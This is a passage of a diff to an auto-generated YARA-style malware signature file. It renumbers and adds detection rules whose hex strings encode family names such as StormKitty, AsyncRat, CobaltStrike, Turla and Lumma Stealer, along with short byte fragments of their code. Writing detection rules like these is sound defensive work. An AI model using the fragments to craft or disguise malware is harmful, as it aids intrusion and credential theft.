_InfrastructureShared_5911{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5912{ +rule _InfrastructureShared_6201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61342,7 +64334,7 @@ rule _InfrastructureShared_5912{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5913{ +rule _InfrastructureShared_6202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -61352,7 +64344,7 @@ rule _InfrastructureShared_5913{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5914{ +rule _InfrastructureShared_6203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -61363,7 +64355,7 @@ rule _InfrastructureShared_5914{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*6714) >=1 } -rule _InfrastructureShared_5915{ +rule _InfrastructureShared_6204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -61374,7 +64366,7 @@ rule _InfrastructureShared_5915{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*29499) >=1 } -rule _InfrastructureShared_5916{ +rule _InfrastructureShared_6205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -61385,7 +64377,7 @@ rule _InfrastructureShared_5916{ ((#a_6c_0 & 1)*18467+(#a_48_1 & 1)*26982) >=1 } -rule _InfrastructureShared_5917{ +rule _InfrastructureShared_6206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -61396,7 +64388,7 @@ rule _InfrastructureShared_5917{ ((#a_77_0 & 1)*19491+(#a_65_1 & 1)*26996) >=1 } -rule _InfrastructureShared_5918{ +rule _InfrastructureShared_6207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -61407,7 +64399,7 @@ rule _InfrastructureShared_5918{ ((#a_5f_0 & 1)*25635+(#a_48_1 & 1)*29541) >=1 } -rule _InfrastructureShared_5919{ +rule _InfrastructureShared_6208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -61419,7 +64411,7 @@ rule _InfrastructureShared_5919{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25441+(#a_00_2 & 1)*30720) >=1 } -rule _InfrastructureShared_5920{ +rule _InfrastructureShared_6209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -61431,7 +64423,7 @@ rule _InfrastructureShared_5920{ ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*25964+(#a_00_2 & 1)*1) >=1 } -rule _InfrastructureShared_5921{ +rule _InfrastructureShared_6210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -61443,18 +64435,28 @@ rule _InfrastructureShared_5921{ ((#a_54_0 & 1)*18467+(#a_e3_1 & 1)*6219+(#a_00_2 & 1)*30657) >=1 } -rule _InfrastructureShared_5922{ +rule _InfrastructureShared_6211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_4c_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 69 72 72 6f 72 4d 61 73 74 65 72 2e 41 00 01 00 18 03 74 1b c7 46 3c 90 01 04 c7 46 40 34 03 00 00 eb 19 6b c9 1c 81 c1 90 00 01 00 09 01 81 7c 01 08 f3 d9 32 56 } //21539 - $a_1b_2 = {83 e1 40 83 c1 58 3b c1 77 03 00 00 78 66 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 54 65 64 79 2e 41 52 41 21 4d 54 42 00 02 00 30 01 8b 45 fc 48 98 48 8b 55 10 48 01 d0 0f b6 00 32 45 20 89 c1 8b 45 fc 48 98 48 8b 55 f0 48 01 d0 89 ca 88 10 83 45 fc 01 8b 45 fc 3b 45 18 7c d0 00 00 78 66 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 53 54 21 4d 54 42 00 02 00 36 01 08 12 07 28 91 00 00 0a 6f 8f 00 00 0a 00 08 6f 90 00 00 0a 20 00 f6 01 00 fe 04 13 09 11 09 2c 0e 08 12 07 28 92 00 00 0a 6f 8f 00 00 0a 00 00 11 } //-2304 + $a_1b_2 = {83 e1 40 83 c1 58 3b c1 77 03 00 00 78 66 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 6f 72 6d 4b 69 74 74 79 2e 53 57 42 21 4d 54 42 00 02 00 35 03 1f 10 8d 3f 00 00 01 25 d0 08 00 00 04 28 90 01 01 00 00 0a 80 03 00 00 04 1f 26 8d 3f 00 00 01 25 d0 07 00 00 04 28 90 01 01 00 00 0a 80 04 00 00 04 2a 90 00 00 00 78 66 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 54 65 64 79 2e 41 52 41 21 4d 54 42 00 02 00 30 01 8b 45 fc 48 98 48 8b 55 10 48 01 d0 0f b6 00 32 45 20 89 c1 8b 45 fc 48 98 48 8b 55 f0 48 01 d0 89 ca 88 10 83 45 fc 01 8b 45 fc } //-2304 condition: ((#a_4c_0 & 1)*21539+(#a_1b_2 & 1)*-2304) >=1 } -rule _InfrastructureShared_5923{ +rule _InfrastructureShared_6212{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 6f 72 6d 4b 69 74 74 79 2e 53 57 42 21 4d 54 42 00 02 00 35 03 1f 10 8d 3f 00 00 01 25 d0 08 00 00 04 28 90 01 01 00 00 0a 80 03 00 00 04 1f 26 8d 3f 00 00 01 25 d0 07 00 00 04 28 90 01 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_6213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -61464,7 +64466,7 @@ rule _InfrastructureShared_5923{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5924{ +rule _InfrastructureShared_6214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -61474,7 +64476,17 @@ rule _InfrastructureShared_5924{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5925{ +rule _InfrastructureShared_6215{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 61 74 2e 43 49 21 4d 54 42 00 02 00 38 03 11 05 11 0a 74 90 01 04 11 0c 11 07 58 11 09 59 93 61 11 0b 74 90 01 04 11 09 11 0c 58 1f 11 58 11 08 5d 93 61 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_6216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61485,7 +64497,18 @@ rule _InfrastructureShared_5925{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*-5695) >=2 } -rule _InfrastructureShared_5926{ +rule _InfrastructureShared_6217{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 65 6d 70 6f 54 6f 61 64 2e 41 00 01 00 1a 02 6a 04 68 00 30 00 00 8b 90 01 03 ff ff 90 01 01 6a 00 ff 90 01 03 ff ff 90 00 01 00 1d 02 6a 40 8b 85 90 01 02 ff ff 90 01 01 8b 90 01 03 ff } //16675 + $a_01_1 = {ff } //-28417 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28417) >=2 + +} +rule _InfrastructureShared_6218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61496,7 +64519,7 @@ rule _InfrastructureShared_5926{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*25972) >=2 } -rule _InfrastructureShared_5927{ +rule _InfrastructureShared_6219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61507,7 +64530,7 @@ rule _InfrastructureShared_5927{ ((#a_46_0 & 1)*16675+(#a_fe_1 & 1)*-18929) >=2 } -rule _InfrastructureShared_5928{ +rule _InfrastructureShared_6220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61518,7 +64541,7 @@ rule _InfrastructureShared_5928{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*49) >=2 } -rule _InfrastructureShared_5929{ +rule _InfrastructureShared_6221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61529,7 +64552,7 @@ rule _InfrastructureShared_5929{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*24948) >=2 } -rule _InfrastructureShared_5930{ +rule _InfrastructureShared_6222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61540,7 +64563,7 @@ rule _InfrastructureShared_5930{ ((#a_5f_0 & 1)*16931+(#a_20_1 & 1)*27759) >=2 } -rule _InfrastructureShared_5931{ +rule _InfrastructureShared_6223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61551,7 +64574,18 @@ rule _InfrastructureShared_5931{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*27136) >=2 } -rule _InfrastructureShared_5932{ +rule _InfrastructureShared_6224{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 35 00 01 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 01 00 27 03 50 45 00 00 4c 01 90 01 12 0b 01 02 19 00 2c 0d 00 00 88 42 00 00 00 00 00 00 90 01 02 00 00 10 00 00 } //18467 + $a_90_1 = {00 00 78 66 00 00 02 00 02 00 02 00 21 } //16384 + condition: + ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*16384) >=2 + +} +rule _InfrastructureShared_6225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61562,7 +64596,7 @@ rule _InfrastructureShared_5932{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-251) >=2 } -rule _InfrastructureShared_5933{ +rule _InfrastructureShared_6226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61573,7 +64607,7 @@ rule _InfrastructureShared_5933{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-255) >=2 } -rule _InfrastructureShared_5934{ +rule _InfrastructureShared_6227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61583,7 +64617,7 @@ rule _InfrastructureShared_5934{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5935{ +rule _InfrastructureShared_6228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61594,7 +64628,7 @@ rule _InfrastructureShared_5935{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*22272) >=2 } -rule _InfrastructureShared_5936{ +rule _InfrastructureShared_6229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61605,7 +64639,7 @@ rule _InfrastructureShared_5936{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*23657) >=2 } -rule _InfrastructureShared_5937{ +rule _InfrastructureShared_6230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61615,7 +64649,7 @@ rule _InfrastructureShared_5937{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5938{ +rule _InfrastructureShared_6231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61625,7 +64659,7 @@ rule _InfrastructureShared_5938{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_5939{ +rule _InfrastructureShared_6232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61636,7 +64670,7 @@ rule _InfrastructureShared_5939{ ((#a_4c_0 & 1)*21539+(#a_da_1 & 1)*-14197) >=2 } -rule _InfrastructureShared_5940{ +rule _InfrastructureShared_6233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61647,7 +64681,7 @@ rule _InfrastructureShared_5940{ ((#a_4c_0 & 1)*21539+(#a_76_1 & 1)*25939) >=2 } -rule _InfrastructureShared_5941{ +rule _InfrastructureShared_6234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -61658,7 +64692,7 @@ rule _InfrastructureShared_5941{ ((#a_5f_0 & 1)*25635+(#a_74_1 & 1)*30066) >=2 } -rule _InfrastructureShared_5942{ +rule _InfrastructureShared_6235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -61670,7 +64704,7 @@ rule _InfrastructureShared_5942{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29811+(#a_00_2 & 1)*30720) >=2 } -rule _InfrastructureShared_5943{ +rule _InfrastructureShared_6236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -61682,7 +64716,7 @@ rule _InfrastructureShared_5943{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*17748+(#a_79_2 & 1)*400) >=2 } -rule _InfrastructureShared_5944{ +rule _InfrastructureShared_6237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -61693,32 +64727,43 @@ rule _InfrastructureShared_5944{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*27749) >=2 } -rule _InfrastructureShared_5945{ +rule _InfrastructureShared_6238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_77_0 = {69 3a 48 53 54 52 3a 42 75 6e 64 6c 65 72 3a 49 6d 73 4f 66 66 65 72 73 00 01 00 0d 01 49 4d 53 53 68 6f 77 4f 66 66 65 72 73 01 00 0f 01 49 4d 53 53 74 61 72 74 49 6e 73 74 61 6c 6c 01 00 17 01 5c 49 4d 53 5c 74 72 75 6e 6b 5c 73 72 63 5c 52 65 6c 65 61 73 65 5c 00 00 78 66 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 42 61 63 6b } //19491 - $a_72_1 = {57 69 6e 33 32 2f 54 75 72 6c 61 2e 4f 21 64 68 61 00 01 00 0c 01 23 23 6d 73 74 20 25 73 20 25 64 0a 01 00 09 01 6d 73 74 6f 6b 20 25 73 0a 01 00 11 01 23 23 64 76 20 6d 66 64 20 30 78 25 30 38 78 21 0a 01 00 06 01 23 23 67 70 61 0a 00 00 78 66 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 6f } //28516 - $a_61_2 = {68 2e 45 21 64 68 61 00 01 00 07 80 01 56 42 6f 78 44 72 76 01 00 1a 80 01 53 6f 66 74 77 61 72 65 5c 4f 72 61 63 6c 65 5c 56 69 72 74 75 61 6c 42 6f 78 02 00 0c 80 01 65 6c 72 61 77 64 73 6b 2e 73 79 73 00 00 78 66 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 6f 6f 72 6f 77 } //25199 + $a_72_1 = {57 69 6e 33 32 2f 54 75 72 6c 61 2e 4f 21 64 68 61 00 01 00 0c 01 23 23 6d 73 74 20 25 73 20 25 64 0a 01 00 09 01 6d 73 74 6f 6b 20 25 73 0a 01 00 11 01 23 23 64 76 20 6d 66 64 20 30 78 25 30 38 78 21 0a 01 00 06 01 23 23 67 70 61 0a 00 00 78 66 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f } //28516 + $a_74_2 = {74 72 69 6b 65 2e 47 52 52 21 4d 54 42 00 02 00 12 01 0f b6 3c 0a f7 d7 40 88 3c 08 48 ff c1 48 39 ce 7f ee 01 00 1b 81 01 46 61 69 6c 65 64 20 74 6f 20 65 78 65 63 75 74 65 20 73 68 65 6c 6c 63 6f 64 65 00 00 78 66 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 6f 6f 62 6c 61 73 68 2e } //24930 condition: - ((#a_77_0 & 1)*19491+(#a_72_1 & 1)*28516+(#a_61_2 & 1)*25199) >=2 + ((#a_77_0 & 1)*19491+(#a_72_1 & 1)*28516+(#a_74_2 & 1)*24930) >=2 } -rule _InfrastructureShared_5946{ +rule _InfrastructureShared_6239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_54_0 = {3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 54 75 72 6c 61 2e 4f 21 64 68 61 00 01 00 0c 01 23 23 6d 73 74 20 25 73 20 25 64 0a 01 00 09 01 6d 73 74 6f 6b 20 25 73 0a 01 00 11 01 23 23 64 76 20 6d 66 64 20 30 78 25 30 38 78 21 0a 01 00 06 01 23 } //18467 - $a_61_1 = {00 00 78 66 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 6f 6f 62 6c 61 73 68 2e 45 21 64 68 61 00 01 00 07 80 01 56 42 6f 78 44 72 76 01 00 1a 80 01 53 6f 66 74 77 61 72 65 5c 4f 72 61 63 6c 65 5c 56 69 72 74 75 61 6c 42 6f 78 02 00 0c 80 01 65 6c 72 61 77 64 73 6b 2e 73 79 73 00 00 78 66 00 00 } //26403 + $a_61_1 = {00 00 78 66 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 47 52 52 21 4d 54 42 00 02 00 12 01 0f b6 3c 0a f7 d7 40 88 3c 08 48 ff c1 48 39 ce 7f ee 01 00 1b 81 01 46 61 69 6c 65 64 20 74 6f 20 65 78 65 63 75 74 65 20 73 68 65 6c 6c 63 6f 64 65 00 00 78 66 00 00 } //26403 $a_00_2 = {03 00 21 } //3 - $a_46_3 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 6f 6f 72 6f 77 2e 41 21 64 68 61 00 01 00 18 00 5c 57 69 6e 64 6f 77 73 31 30 2d 4b 42 34 35 37 39 33 31 31 2e 65 78 65 01 00 09 01 5c 44 61 74 61 2e 64 61 74 01 00 0e 01 50 72 } //16675 + $a_46_3 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 6f 6f 62 6c 61 73 68 2e 45 21 64 68 61 00 01 00 07 80 01 56 42 6f 78 44 72 76 01 00 1a 80 01 53 6f 66 74 77 61 72 65 5c 4f 72 61 63 6c 65 5c 56 69 72 74 75 61 6c 42 6f 78 02 00 0c 80 01 } //16675 condition: ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26403+(#a_00_2 & 1)*3+(#a_46_3 & 1)*16675) >=2 } -rule _InfrastructureShared_5947{ +rule _InfrastructureShared_6240{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 47 52 52 21 4d 54 42 00 02 00 12 01 0f b6 3c 0a f7 d7 40 88 3c 08 48 ff c1 48 39 ce 7f ee 01 00 1b 81 01 46 61 69 6c 65 64 20 74 } //21539 + $a_78_1 = {63 75 74 65 20 73 68 65 6c 6c 63 6f 64 65 00 00 78 66 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 6f 6f 62 6c 61 73 68 2e 45 21 64 68 61 00 01 00 07 80 01 56 42 6f 78 44 72 76 01 00 1a 80 01 53 6f 66 74 77 61 72 65 5c 4f 72 61 63 6c 65 5c 56 69 72 74 75 61 6c 42 } //8303 + condition: + ((#a_4c_0 & 1)*21539+(#a_78_1 & 1)*8303) >=3 + +} +rule _InfrastructureShared_6241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -61730,7 +64775,7 @@ rule _InfrastructureShared_5947{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27749+(#a_00_2 & 1)*30720) >=3 } -rule _InfrastructureShared_5948{ +rule _InfrastructureShared_6242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -61742,7 +64787,7 @@ rule _InfrastructureShared_5948{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25455+(#a_79_2 & 1)*23553) >=3 } -rule _InfrastructureShared_5949{ +rule _InfrastructureShared_6243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -61754,7 +64799,7 @@ rule _InfrastructureShared_5949{ ((#a_54_0 & 1)*16675+(#a_74_1 & 1)*25646+(#a_05_2 & 1)*26624) >=3 } -rule _InfrastructureShared_5950{ +rule _InfrastructureShared_6244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -61765,7 +64810,7 @@ rule _InfrastructureShared_5950{ ((#a_54_0 & 1)*18467+(#a_66_2 & 1)*0) >=3 } -rule _InfrastructureShared_5951{ +rule _InfrastructureShared_6245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -61777,7 +64822,7 @@ rule _InfrastructureShared_5951{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-14490+(#a_00_2 & 1)*84) >=3 } -rule _InfrastructureShared_5952{ +rule _InfrastructureShared_6246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -61788,7 +64833,7 @@ rule _InfrastructureShared_5952{ ((#a_54_0 & 1)*18467+(#a_66_2 & 1)*0) >=3 } -rule _InfrastructureShared_5953{ +rule _InfrastructureShared_6247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -61799,7 +64844,7 @@ rule _InfrastructureShared_5953{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-254) >=3 } -rule _InfrastructureShared_5954{ +rule _InfrastructureShared_6248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -61811,7 +64856,7 @@ rule _InfrastructureShared_5954{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*26723+(#a_72_2 & 1)*28265) >=3 } -rule _InfrastructureShared_5955{ +rule _InfrastructureShared_6249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -61823,31 +64868,43 @@ rule _InfrastructureShared_5955{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29797+(#a_23_2 & 1)*3) >=3 } -rule _InfrastructureShared_5956{ +rule _InfrastructureShared_6250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4d 57 31 32 33 21 4d 54 42 00 01 00 10 81 01 73 65 73 75 74 6f 20 63 61 73 75 69 73 74 69 63 01 00 14 81 01 76 61 6e 6b 65 20 61 6d 70 65 6c 6f 67 72 61 70 68 69 73 74 01 00 09 81 01 75 6c 73 65 } //18467 $a_65_1 = {00 00 78 66 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 54 54 59 31 32 33 21 4d 54 42 00 01 00 1c 81 01 73 6b 6f 76 74 72 20 62 75 73 62 69 65 73 20 72 75 6e 64 73 6b 61 61 6c 65 72 6e 65 01 00 06 81 01 6d 6f 73 63 68 69 01 00 0b 81 01 6b 79 73 74 62 61 6e 65 } //26988 - $a_00_2 = {00 78 66 00 00 03 00 03 00 03 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 43 72 6f 73 73 52 69 64 65 72 00 02 00 15 80 01 47 6c 6f 62 61 6c 5c 6d 79 73 65 6c 66 4c 6f 67 4d 75 74 65 78 01 00 0d 00 43 72 6f 73 73 72 69 64 65 72 41 70 70 01 00 18 01 2e 3f 41 56 43 43 72 6f 73 73 52 69 64 65 72 4c 6f 67 55 73 } //28274 + $a_00_2 = {00 78 66 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 50 6f 77 65 72 53 68 65 6c 6c 63 6d 64 6c 65 74 73 2e 50 52 21 41 4d 54 42 00 01 00 0a 81 01 50 6f 77 65 72 53 68 65 6c 6c 01 00 11 81 01 49 6e 76 6f 6b 65 2d 45 78 70 72 65 73 73 69 6f 6e 01 00 0d 81 01 47 65 74 2d 57 6d 69 4f 62 } //28274 condition: ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26988+(#a_00_2 & 1)*28274) >=3 } -rule _InfrastructureShared_5957{ +rule _InfrastructureShared_6251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 54 54 59 31 32 33 21 4d 54 42 00 01 00 1c 81 01 73 6b 6f 76 74 72 20 62 75 73 62 69 65 73 20 72 75 6e 64 73 6b 61 61 6c 65 72 6e 65 01 00 06 81 01 6d 6f 73 63 68 69 01 00 0b 81 01 6b 79 73 74 62 61 } //18467 - $a_6e_1 = {00 00 78 66 00 00 03 00 03 00 03 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 43 72 6f 73 73 52 69 64 65 72 00 02 00 15 80 01 47 6c 6f 62 61 6c 5c 6d 79 73 65 6c 66 4c 6f 67 4d 75 74 65 78 01 00 0d 00 43 72 6f 73 73 72 69 64 65 72 41 70 70 01 00 18 01 2e 3f 41 56 43 43 72 6f 73 73 52 69 64 65 72 4c 6f 67 55 73 65 72 40 40 00 00 78 66 00 00 03 00 } //25966 - $a_00_2 = {21 23 53 } //3 !#S + $a_6e_1 = {00 00 78 66 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 50 6f 77 65 72 53 68 65 6c 6c 63 6d 64 6c 65 74 73 2e 50 52 21 41 4d 54 42 00 01 00 0a 81 01 50 6f 77 65 72 53 68 65 6c 6c 01 00 11 81 01 49 6e 76 6f 6b 65 2d 45 78 70 72 65 73 73 69 6f 6e 01 00 0d 81 01 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 00 00 78 66 00 00 03 00 } //25966 + $a_00_2 = {21 23 50 } //3 !#P condition: ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25966+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_5958{ +rule _InfrastructureShared_6252{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 50 6f 77 65 72 53 68 65 6c 6c 63 6d 64 6c 65 74 73 2e 50 52 21 41 4d 54 42 00 01 00 0a 81 01 50 6f 77 65 72 53 68 65 6c 6c 01 00 11 81 01 49 6e 76 6f 6b 65 2d 45 78 70 72 65 73 73 69 6f 6e 01 00 0d 81 01 47 65 74 2d 57 6d 69 4f } //18467 + $a_63_1 = {00 00 78 66 00 00 03 00 03 00 03 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 43 